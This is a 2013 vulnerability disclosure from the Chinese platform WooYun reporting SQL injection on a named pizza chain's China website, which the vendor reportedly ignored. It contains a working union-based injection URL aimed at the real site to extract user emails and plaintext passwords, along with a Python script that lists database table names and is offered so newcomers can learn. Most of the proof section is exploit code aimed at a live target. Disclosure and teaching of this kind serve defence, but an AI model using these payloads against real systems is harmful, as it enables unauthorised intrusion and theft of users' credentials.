当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-031308

漏洞标题:某披萨店网站存在SQL注入漏洞(密码明文)

相关厂商:棒!约翰

漏洞作者: 欧阳天天

提交时间:2013-07-23 10:26

修复时间:2013-09-06 10:26

公开时间:2013-09-06 10:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

晚上聚餐吃披萨 就去订了一下 闲的试了试 发现网站没有屏蔽SQL错误信息

详细说明:

晚上聚餐吃披萨 就去订了一下 闲的试了试 发现网站没有屏蔽SQL错误信息
不是什么大网站,纯粹是写个小例子吧,估计也联系不到厂商
利用的是union漏洞,我直接把代码写出来了,新人可以学习,里面主要写了如何利用union去查询表名称的
上午发现的,没有继续往下深入,好像屏蔽了单引号,暂时没想怎么绕过屏蔽

漏洞证明:

读取用户密码(明文)
http://www.papajohnschina.com/sh/news_detail.php?id=53%20union%20%28select%20null,null,binary%28CONCAT_WS%280x3A,%20email,%20password%29%29,null,null,null,null,null%20from%20tbluserinfo_old%20limit%2016,1%29limit%201,1
代码

# coding:utf-8
import urllib2, re
pattern = re.compile('<h5 class="font15"><span></span>\s*(\S+)\s*</h5>')
def tables():
print '-' * 50
for i in range(1, 100):
base = 'http://www.papajohnschina.com/sh/news_detail.php?id=53'
para_ = ' union select null,null,binary(table_name),null,null,null,null,null from information_schema.tables limit %s,1' % i
para = urllib2.quote(para_)
url = base + para
resp = urllib2.urlopen(url).read()
m = re.search(pattern, resp)
if m:
print m.group(1)
print '-' * 50

tables()


py.png


bro.png


pass.png

修复方案:

过滤 传参 去掉错误信息

版权声明:转载请注明来源 欧阳天天@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝